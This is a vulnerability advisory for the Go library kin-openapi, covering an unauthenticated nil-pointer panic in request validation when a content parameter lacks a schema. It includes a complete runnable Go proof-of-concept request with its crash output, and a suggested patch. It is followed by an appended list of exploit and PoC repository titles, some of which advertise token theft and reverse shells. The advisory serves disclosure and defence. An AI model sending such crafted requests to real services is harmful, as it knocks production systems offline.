| Field | Value | |---|---| | Ecosystem | Go | | Package | `github.com/getkin/kin-openapi` | | Affected versions | `<= 0.143.0` (introduced in `v0.2.0`, PR #90, 2019-05-07; reproduced on `HEAD` `30e2923`) | | Patched versions | 0.144.0 | --- ### Summary `openapi3filter.ValidateRequest` contains a NULL-pointer-dereference denial of service: any **unauthenticated** client can crash the request-validation path with a **single** HTTP request. When an operation declares a `content` parameter (as opposed to a `schema` parameter) whose media type object has **no `schema`**, request validation dereferences that missing schema and panics. The document is legal under the OpenAPI Specification — kin-openapi's own `doc.Validate()` accepts it — and the defect affects **both OpenAPI 3.0.x and 3.1.x**. Depending on how the library is wired into the server (see Impact), this ranges from a per-request abort with unbounded panic-log growth to a full remote process crash. ### Details The decoder used for `content` parameters when no custom `ParamDecoder` is configured (the library default), `defaultContentParameterDecoder`, dereferences the media-type schema without a nil check. `openapi3filter/req_resp_decoder.go`, around line 197: ```go mt := content.Get("application/json") if mt == nil { // media-type OBJECT is guarded ... err = fmt.Errorf("parameter %q has no content schema", param.Name) return } outSchema = mt.Schema.Value // ... but mt.Schema is NOT — panics when nil ``` The function guards `param.Content == nil`, `len(content) != 1`, and `mt == nil`, but never `mt.Schema == nil`. **Why a schema-less content parameter is legal** (so the sink is reachable — `doc.Validate()` returns no error), in both 3.0.x and 3.1.x: - `openapi3/parameter.go` — `Parameter.Validate` only enforces *exactly one of `schema` XOR `content`*; a parameter with `content` (and no `schema`) satisfies it. - `openapi3/media_type.go` — `MediaType.Validate` validates the schema **only when it is non-nil**, so an absent schema is not a validation error. **Call path to the panic:** ``` ValidateRequest openapi3filter/validate_request.go:83 └─ ValidateParameter openapi3filter/validate_request.go:177 (parameter.Content != nil) └─ decodeContentParameter openapi3filter/req_resp_decoder.go:166 (attacker supplies value ⇒ found) └─ defaultContentParameterDecoder openapi3filter/req_resp_decoder.go:197 ← nil deref / panic ``` **Authentication note:** `ValidateRequest` validates security *before* parameters, but the panic is reachable **without credentials** whenever the target operation declares no security requirement, or when no `AuthenticationFunc` is configured (it is opt-in). A single unauthenticated operation anywhere in the served spec is sufficient. If an operation *does* declare security and a rejecting `AuthenticationFunc` is wired, that request is rejected before decoding. ### PoC Reproduced end-to-end against `HEAD` (`30e2923`) with a real `net/http` server and a stock `http.Client`. **1. Minimal OpenAPI 3.0.3 document** (legal — `doc.Validate()` passes). The `cfg` query parameter uses `content` with an `application/json` media type that has **no `schema`**: ```yaml openapi: 3.0.3 info: {title: poc, version: "1.0.0"} paths: /c: get: parameters: - name: cfg in: query content: application/json: {} # media type object with NO schema responses: "200": {description: ok} ``` **2. A complete, self-contained program.** Drop this into a directory inside a checkout of `github.com/getkin/kin-openapi` and run it with `go run .`. It loads the document above, asserts `doc.Validate()` accepts it (proving reachability), serves it behind request validation exactly as the recommended middleware does, and sends one unauthenticated `GET /c?cfg=1`: ```go package main import ( "context" "fmt" "net/http" "net/http/httptest" "github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers/gorillamux" ) const spec = ` openapi: 3.0.3 info: {title: poc, version: "1.0.0"} paths: /c: get: parameters: - name: cfg in: query content: application/json: {} # media type object with NO schema responses: "200": {description: ok} ` func main() { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(spec)) if err != nil { panic(err) } // Reachability: the malformed-but-legal document must validate. if err := doc.Validate(context.Background()); err != nil { panic("doc.Validate rejected the spec, not reachable: " + err.Error()) } router, err := gorillamux.NewRouter(doc) if err != nil { panic(err) } // Handler mirrors openapi3filter.ValidationHandler: find route, validate. h := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { route, pathParams, err := router.FindRoute(r) if err != nil { http.Error(w, err.Error(), http.StatusNotFound) return } // Panics here on the crafted request (req_resp_decoder.go:197). if err := openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{ Request: r, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }); err != nil { http.Error(w, err.Error(), http.StatusBadRequest) return } w.WriteHeader(http.StatusOK) }) srv := httptest.NewServer(h) defer srv.Close() // The single, unauthenticated attack request. resp, err := http.Get(srv.URL + "/c?cfg=1") if err != nil { // Expected: the server goroutine panicked, so the client sees EOF. fmt.Printf("client received an aborted response (expected): %v\n", err) return } defer resp.Body.Close() fmt.Printf("UNEXPECTED: got HTTP %d without a panic\n", resp.StatusCode) } ``` **3. Observed result** — the request goroutine panics inside validation, and the client's `http.Get` returns an EOF: ``` http: panic serving 127.0.0.1:xxxxx: runtime error: invalid memory address or nil pointer dereference github.com/getkin/kin-openapi/openapi3filter.defaultContentParameterDecoder(...) openapi3filter/req_resp_decoder.go:197 github.com/getkin/kin-openapi/openapi3filter.decodeContentParameter(...) openapi3filter/req_resp_decoder.go:166 github.com/getkin/kin-openapi/openapi3filter.ValidateParameter(...) openapi3filter/validate_request.go:177 github.com/getkin/kin-openapi/openapi3filter.ValidateRequest(...) openapi3filter/validate_request.go:83 ``` Swapping the media type for one that carries a schema (`application/json: {schema: {type: object}}`) makes the same request return a clean `400` instead of panicking, confirming the missing schema is the cause. ### Impact This is an **unauthenticated remote denial of service** (CWE-476) against any service that validates incoming requests with `openapi3filter` and serves a spec containing at least one `content` parameter whose media type lacks a `schema`. The precise consequence depends on which goroutine runs the panic and whether a `recover()` covers it: | Wiring | Recovered by `net/http`? | Result | |---|---|---| | Synchronous middleware / handler on `net/http` (incl. `openapi3filter.ValidationHandler`) | Yes | Process survives; the one request is aborted. A remote unauthenticated party can still drive connection churn + unbounded `http: panic serving` log growth. | | `ValidateRequest` on an app-spawned goroutine (fan-out, `errgroup`, async pre-check) | No | **Whole process crashes** on a single unauthenticated request unless the app added its own `recover()`. | | Non-`net/http` host (fasthttp adaptor, gRPC-gateway shim, CLI, offline/batch spec validator) | No | **Whole process crashes.** | This is why the suggested CVSS uses `A:L` (Base 5.3): under the recommended synchronous `net/http` wiring the panic is recovered per-connection. Reviewers may reasonably raise it to `A:H` (Base 7.5) for the spawned-goroutine and non-`net/http` integrations, where a single request kills the process. --- ## Remediation (suggested) Add a `mt.Schema == nil` guard mirroring the existing `mt == nil` guard, so a schema-less content parameter yields a clean validation error instead of a panic: ```go mt := content.Get("application/json") if mt == nil { err = fmt.Errorf("parameter %q has no content schema", param.Name) return } if mt.Schema == nil { err = fmt.Errorf("parameter %q content media type has no schema", param.Name) return } outSchema = mt.Schema.Value ``` The `unmarshal` closure immediately below already tolerates a nil schema (it checks `paramSchema != nil`), so returning early on nil `mt.Schema` is consistent with surrounding intent. **Workarounds for consumers, pending a patch:** - Ensure every `content` parameter in served specs declares a `schema`, or reject such specs at load time. - Supply a custom `ParamDecoder` that guards `mt.Schema == nil`. - Run request validation inside a handler with an explicit `recover()` — especially if validation runs off the request goroutine or on a non-`net/http` host. ## Notes for the maintainer This root cause (`mt.Schema == nil`) is independent of the `Items == nil` panics addressed in `30e2923` and of `GHSA-mmfr-pmjx-hw9w`; no prior fix touched this code path. It affects OpenAPI 3.0.x as well as 3.1.x.
PoC: CVE-2026-38192
pluck-CMS-4.7.20-code-injection-vulnerability
PoC: CVE-2026-82592
D-Link DIR-825M formDiskFormat stack overflow + command injection RCE PoC (CVE-2026-82592); for authorized security testing
PoC: My-Exploits
Metasploit modules, Python PoCs and throwaway Docker labs for four platform CVEs: Keycloak (CVE-2026-18963), Apache NiFi (CVE-2026-39816), HashiCorp Vault (CVE-2026-5006), HashiCorp Nomad (CVE-2026-7474).
PoC: CVE-2025-66478-PoC-Reverse-Shell
CVE-2025-66478 PoC
PoC: cve-writeups-and-pocs
CVE-2026-80724 PoC + full write-up — Linux kernel ptp/vmclock read-only mapping becomes writable (VM_MAYWRITE). Discovered, reported & fixed by Abdifatah Suruur (suruurism)
PoC: CVE-2026-79483-FastGPT-NoSQL-Injection
FastGPT Community Edition NoSQL Injection PoC (CVE-2026-79483)
PoC: givewp-cve-2026-82222-rce-lab
Authorized Docker lab and clean PoC for validating CVE-2026-82222 RCE in GiveWP 4.16.5.1 and the 4.16.7.2 fix.
PoC: CVE-2026-19745
Learn how I found my first two CVEs by pure accident.
PoC: cve-2026-23989-opencloud-lab
Reproduction lab (A/B Docker) for CVE-2026-23989 — OpenCloud / ownCloud Infinite Scale public-link scope-validation bypass in Reva
PoC: CVE-2026-21962-Blog
CVE-2026-21962 Açığı için blog sayfası oluşturdum.
PoC: PoC-and-yara-rules-of-CVE-2025-59528-Flowise-has-Remote-Code-Execution-vulnerability
poc and yara rules
PoC: ActiveMQ-CVE-2023-46604
Exploit POC for Apache ActiveMQ CVE-2023-46604
PoC: gha-lab-0ba60e6456
Authorized security-research lab reproducing CVE-2024-39700 / GHSA-45gq-v5wm-82wg (JupyterLab extension-template update-integration-tests pwn request)
PoC: CVE-2026-36130
CVE-2026-36130
PoC: CVE-2026-31321
CVE-2026-31321
PoC: postgresql-cve-2026-14662
PostgreSQL の全文検索(tsvector/tsquery)に見つかった範囲外書き込み脆弱性 CVE-2026-14662 を、修正前(18.4)と修正後(18.6)を Docker で並べて動かして検証した記録と発表資料
PoC: CVE-2026-27472-and-CVE-2026-27474
PoC for CVE-2026-27472 and CVE-2026-27474
PoC: CVE-2026-27475
PoC for CVE-2026-27475
PoC: CVE-2026-18963
Unauthenticated account takeover via reset-credentials flow bypass
PoC: CVE-2026-0768
CVE-2026-0768 - Draft or TODO
PoC: CVE-2026-82329
CVE-2026-82329 - Draft or TODO
PoC: tomcat-line-check
CVE-2026-24880: does Apache's upgrade advice actually apply to your Tomcat? Detects the fix by class presence, not version comparison. Covers 7.0/8.0/8.5/9.0/10.0/10.1/11.0 lines.
PoC: log4j2-vuln-lab
CVE-2021-44228 (Log4Shell) 漏洞复现靶场 | SpringBoot + Log4j2 2.14.1 | 3 个攻击向量 PoC 验证
PoC: CVE-2021-3493-Exploit
It's a CVE-2021-3493 Exploit written in C
PoC: gha-lab-8e9316151c
Controlled security-research lab reproducing CVE-2024-1540 (GitHub Actions command injection in gradio-app/gradio deploy+test-visual.yml) — flattened snapshot of gradio-app/gradio @ f35f615e33a5dd90bfeb106b6f5dca689849fcef
PoC: gha-lab-6255f5fc33
Security-research lab reproducing CVE-2023-6572 (GHSA-gqvf-3hgp-5hxv): command injection in gradio-app/gradio's workflow_run handling of generate-changeset.yml
PoC: nextcloud-cve-2023-49792-research
A project analysis of CVE-2023-49792, inspired by a HackerOne report I have recently come across.
PoC: CVE-2026-30252
The ZenShare Suite application is vulnerable by a Reflected Cross-Site Scripting (XSS) vulnerability, affecting web application login and recovery password functionalities.
PoC: CVE-2026-30251
A reflected cross-site scripting (XSS) vulnerability in the login_newpwd.php endpoint of Interzen Consulting S.r.l ZenShare Suite v17.0 allows attackers to execute arbitrary Javascript in the context of the user's browser via a crafted URL injected into the codice_azienda parameter.
PoC: gha-lab-fb32aba4a3
Authorized lab reproduction of CVE-2023-26493 (GHSL-2023-027): command injection via github.head_ref in cocos-engine's <Web> Interface check pull_request_target workflow
PoC: CVE-2018-14667_Lab_POC
Demonstration of the expression language (EL) injection vulnerability CVE-2018-14667 using the photoalbum lab under Jboss application server
PoC: weakrng-sweep
Weak-RNG stream-sweep research (CVE-2026-71851 class): PRNG schemes x seeds -> BIP39 -> victim set membership
PoC: cve-2022-29117-assessment
CVE-2022-29117 (.NET Cookie-Handling DoS) Assessment, Understanding & Questions Framework
PoC: POC-CVE-2026-0073
Security research PoC for CVE-2026-0073: ADB authentication bypass verification
PoC: gha-lab-232af4821f
Security-research lab reproducing CVE-2021-4281 (GHSA-3796-3f93-cfvx): shell command injection via PR head-branch name in .github/workflows/combine-prs.yml (snapshot of BraveUX/for-the-badge @ 409c1fda). Do not use; authorized reproduction only.
PoC: CVE-2026-82222
GiveWP <= 4.16.7.1 Unauthenticated PHP Object Injection → RCE
PoC: CVE-2026-76569
Reflected XSS via search GET Parameter in Phoca Download
PoC: activemq-cve-lab
ActiveMQ CVE-2015-5254 模拟靶场 - 用于 CVE 测试评测和 SCA 扫描演示
PoC: ghostlock-x200-app
vivo X200 设备端一键 root App（Shizuku 授权 shell 域执行，CVE-2026-43499）
PoC: gha-lab-b9842b12c0
Authorized security-research lab reproducing CVE-2021-21423 (GHSA-gg2g-m5wc-vccq): projen rebuild-bot pwn request via issue_comment
PoC: gha-lab-e4a85583c3
Security-research lab reproducing CVE-2020-36762 (GHSA-h9gr-83jq-f3xc): bash command injection via github.event.comment.body in the comment workflow of ONSdigital/ras-collection-instrument
PoC: Root-My-Galaxy
KSU installer for supported Samsung Galaxy firmware with CVE-2026-43499
PoC: CVE-2026-78905-Facebook-Account-Takeover
Social Media Infrastructure Vulnerability Research. CVE-2026-78905: OAuth token reuse and session hijacking in Facebook's Graph API.
PoC: CVE-2026-78904-Digital-Dinar-Drain
CBDC Infrastructure Vulnerability Research. CVE-2026-78904: Infinite mint and redemption bypass in central bank digital currency APIs.
PoC: CVE-2026-78903-SWIFT-Kick-to-the-Creds
Offensive Research & Exploit Development. Vulnerability research, PoC development, and offensive tooling for financial infrastructure.
PoC: CVE-2026-60004-Gitea-RCE-PoC
🫖 Direct single-target Gitea CVE-2026-60004 RCE validation PoC
PoC: CVE-2026-60004-Gitea-Validator
🫖 Contract-correlated discovery and authorized validation tool for Gitea CVE-2026-60004
PoC: cve-2026-67363-67364
Balboa form Command Injection POC
PoC: Simulation-d-attaque-BlueBorne-sur-v-hicule-connect-
Simulation complète d'une attaque Bluetooth (CVE-2017-1000251) sur un véhicule autonome via CARLA Simulator ; exploitation de la vulnérabilité BlueBorne pour accéder au bus CAN et déclencher un freinage brutal, en environnement isolé (Kali Linux VM / VMware / Python).
PoC: CVE-2026-76581-Detector
Safe passive detector for identifying WPMU DEV Dashboard versions affected by CVE-2026-76581.
PoC: htb-machine-ringdown
Detailed design & exploitation writeup for Ringdown—an original Debian/Asterisk vulnerable machine featuring CVE-2024-42365 (AMI), PJSIP pre-hash cracking, and Fail2ban POSIX ACL privilege escalation.
PoC: gha-lab-83342297e0
Authorized security-research lab reproducing CVE-2024-41127 (GHSA-wcjf-5464-4wq9): poisoned pipeline execution via artifact-controlled code injection in ci-failure-comment.yml. Snapshot of monkeytypegame/monkeytype @ deeea0f.
PoC: WP2Shell-Scanner
Read-only CLI to check whether a WordPress site is exposed to WP2Shell (CVE-2026-63030 / CVE-2026-60137)
PoC: phpBB-CVE-2026-48611
Automated PoC for CVE-2026-48611 — phpBB OAuth login_link authentication bypass
PoC: Project-CVE-2026-45833
CVE-2026-45833 ChromaDB
PoC: CitrixBleedCVE-2026-8452-2025-5777
CitrixBleed Exploit Tool - CVE-2025-5777 & CVE-2026-8452. Unauthenticated remote memory read from Citrix NetScaler ADC & Gateway. Steal admin session tokens, extract nsroot hashes, dump secrets, and bypass MFA. Python 3 exploit with full memory parsing.
PoC: CVE-2026-76581
CVE-2026-76581
PoC: drupalgeddon2-cve-lab
Drupalgeddon2 CVE-2018-7600 vulnerable Drupal 7 lab
PoC: shellshock-cve-lab
Shellshock CVE-2014-6271 vulnerable CGI lab
PoC: log4shell-cve-lab
Log4Shell CVE-2021-44228 vulnerable lab
PoC: CVE-2026-18741
PoC CVE-2026-18741
PoC: CVE-2026-12513
CVE-2026-12513 Vulnerability Advisory & PoC — Discovered by Huynh Kien Minh (MinhHK).
PoC: ghostlock-oppo-watch3pro
CVE-2026-43499 on OPPO Watch 3 Pro
PoC: cve-2026-82222-poc
Public PoC for CVE-2026-82222
PoC: zk-xml-probe
Static XML fixtures for authorized bug bounty testing of XML parser behaviour (CVE-2026-45071).
PoC: SOC335-CVE-2024-49138-Investigation
SOC investigation of a CVE-2024-49138 exploitation alert using log analysis, threat intelligence, and endpoint containment.
PoC: papercut-toolkit
#PaperCut CVE-2026-81578 + CVE-2026-82078 Defense Toolkit 2 3 A **defensive** toolkit to check and understand exposure to the chained
PoC: PaperCut-CVE-2026-81578-82078
Security research tool for PaperCut CVE-2026-81578 & CVE-2026-82078
PoC: vankyo-s30-bootloader-unlock
Vankyo MatrixPad S30 (Unisoc SC9863A) — Bootloader unlock via CVE-2022-38694 FDL1 method
PoC: CVE-2026-21962-Blog
CVE-2026-21962 Açığı için blog sayfası oluşturdum.
PoC: hdwebmobile-formula-pricing
WooCommerce plugin: safe formula-based product pricing, closing CVE-2026-4001's eval()-based RCE
PoC: CVE-2026-82286-gpt-crawler-Arbitrary-File-Write
CVE-2026-82286 — gpt-crawler <=1.5.1 unauthenticated arbitrary file write via outputFileName (POST /crawl). PoC + self-contained Docker lab. CVSS 8.6, CWE-22.
PoC: CVE-2026-24061-payload
A PoC exploit for CVE-2026-24061 - GNU InetUtils telnetd Argument Injection Authentication Bypass
PoC: CVE-2026-66384
CVE-2026-66384 - Draft or TODO
PoC: CVE-2026-33017-PoC-Reverse-Shell
CVE-2026-33017 PoC Reverse Shell
PoC: CVE-2026-33057---Mesop-Unauthenticated-RCE-PoC-and-yara-rules
CVE-2026-33057 - Mesop Unauthenticated RCE PoC and yara rules
PoC: CVE-2026-10036-speechbrain-rce
SpeechBrain < 1.1.1 checkpoint metadata RCE via unsafe PyYAML parsing of CKPT.yaml.
PoC: CVE-2025-55182-poc
I know you are probably here from Hack the Box, if so, yes this one actually works.
PoC: Project-CVE-2026-50751
IKEv1 VPN scanners, attempts a Check Point authentication-bypass exploit, and includes internal network scanning and reverse-shell features.
PoC: CTT-Enhanced-CVE-2026-46339-Exploit-Engine
A specialized Python framework that executes unauthenticated remote code execution via the 9Router Model Context Protocol (MCP) bridge by deploying a 33-layer temporal phase cascade, Riemann-Hadamard dispersion, and an 11 ns wedge filter to bypass traditional proxy and process-monitoring defenses.
PoC: Zimbra-CVE-2026-73570-Rules
Wazuh Rules for Detection Zimbra (CVE-2026-73570).
PoC: CVE-2022-46169
Cacti 1.2.22 unauthenticated command injection
PoC: CVE-2024-23897
Jenkins CVE-2024-23897 — CSRF-crumb aware PoC
PoC: CVE-2025-10952-ml-logger-AFR
PoC for CVE-2025-10952 — ml-logger unauthenticated arbitrary file read. CVSS 5.3
PoC: CVE-2026-65643
CVE-2026-65643 - Draft or TODO
PoC: cve-2023-23397-detection-lab
Detection and mitigation research lab for CVE-2023-23397 using network and endpoint security telemetry.
PoC: fastjson-cve
fastjson-cve-2026-16723
PoC: CVE-2026-23751-poc
Patched RemotingClient to exploit CVE-2026-23751 (Tungsten Automation - Kofax Capture Unauthenticated File Read/Write and SMB coercion via .NET HTTP Remoting)
PoC: CVE-2023-27350-CVE-2023-27351
CVE-2023-27350, CVE-2023-27351 - PaperCut - Draft or TODO
PoC: Project-CVE-2026-33017
CVE-2026-33017 - Langflow Unauthenticated RCE Exploit
PoC: CVE-2026-70463
Testing CVE-2026-70463 by Fyyre
PoC: 2025-Oracle-SSO-LDAP-Attack-Post-Incident-Written-Report
Post-incident report analyzing the Oracle Cloud SSO/LDAP supply chain attack (CVE-2021-35587). Details the exploitation of legacy server infrastructure, impact across 140,000+ cloud tenants, root-cause findings, and phased mitigation strategies.
PoC: CVE-2026-20131-Post-Incident-Written-Report
Post-incident report on CVE-2026-20131 (CVSS 10.0), a Cisco FMC insecure deserialization vulnerability exploited by Interlock ransomware. Details root-cause analysis, lateral movement tactics, and emergency containment strategies.
PoC: ghostlock-pfem10
GhostLock (CVE-2026-43499 / IonStack) research for OPPO Find X5 Pro (PFEM10): exploit chain, progress, blocker log, and OPPO 5-series kernel notes
PoC: htb-labs-connected
Hack The Box Connected machine write-up featuring enumeration, CVE-2025-57819 exploitation, reverse shell, and privilege escalation to root via FreePBX and incron.
PoC: spring-ai-sibling-loop-poc
Minimal reproduction for Spring AI ParagraphManager sibling self-loop OOM (incomplete fix of CVE-2026-47851)
PoC: mssharepoint-scanner
A scanner for CVE-2026-55040 and CVE-2026-63520, designed to determine whether the server is affected by these two CVEs.
PoC: weblogic
Oracle WebLogic Console unauthenticated auth bypass + RCE exploit (CVE-2020-14882 / CVE-2020-14750)
PoC: CVE-2021-27876-veritas-backup
Metasploit module: Veritas Backup Exec Agent SHA-auth NDMP remote code execution (CVE-2021-27876/27877/27878)
PoC: Project-CVE-2026-65351
For educational purposes
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
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